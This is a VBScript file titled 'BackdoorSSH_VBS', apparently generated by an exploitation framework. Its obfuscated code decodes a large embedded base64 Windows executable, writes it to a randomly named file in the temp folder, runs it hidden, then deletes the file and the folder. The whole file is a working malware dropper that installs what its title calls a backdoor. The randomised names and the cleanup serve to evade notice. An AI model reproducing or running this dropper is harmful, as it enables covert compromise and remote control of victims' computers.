BackdoorSSH_VBS

Function dttBgvGSYfvXI(AoOceNrake)
    lhgZOWxCujb = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
        "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
        AoOceNrake & "</B64DECODE>"
    Set YvvKBntj = CreateObject("MSXML2.DOMDocument.3.0")
    YvvKBntj.LoadXML(lhgZOWxCujb)
    dttBgvGSYfvXI = YvvKBntj.selectsinglenode("B64DECODE").nodeTypedValue
    set YvvKBntj = nothing
End Function

Function jiqIdtdQRgZBJ()
    XSdxCVsisr = "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"
    Dim FTVRrPtwYRjR
    Set FTVRrPtwYRjR = CreateObject("Scripting.FileSystemObject")
    Dim JzFEAIFATZ
    Dim RbdScYDAuSPjW
    Set JzFEAIFATZ = FTVRrPtwYRjR.GetSpecialFolder(2)
    RbdScYDAuSPjW = JzFEAIFATZ & "\" & FTVRrPtwYRjR.GetTempName()
    FTVRrPtwYRjR.CreateFolder(RbdScYDAuSPjW)
    tyOxcoIJPTF = RbdScYDAuSPjW & "\" & "fNCtsmcUBgrp.exe"
    Dim ruEYxogOvv
    Set ruEYxogOvv = CreateObject("Wscript.Shell")
    hrWGCNHpSS = dttBgvGSYfvXI(XSdxCVsisr)
    Set qycbuzJG = CreateObject("ADODB.Stream")
    qycbuzJG.Type = 1
    qycbuzJG.Open
    qycbuzJG.Write hrWGCNHpSS
    qycbuzJG.SaveToFile tyOxcoIJPTF, 2
    ruEYxogOvv.run tyOxcoIJPTF, 0, true
    FTVRrPtwYRjR.DeleteFile(tyOxcoIJPTF)
    FTVRrPtwYRjR.DeleteFolder(RbdScYDAuSPjW)
End Function

jiqIdtdQRgZBJ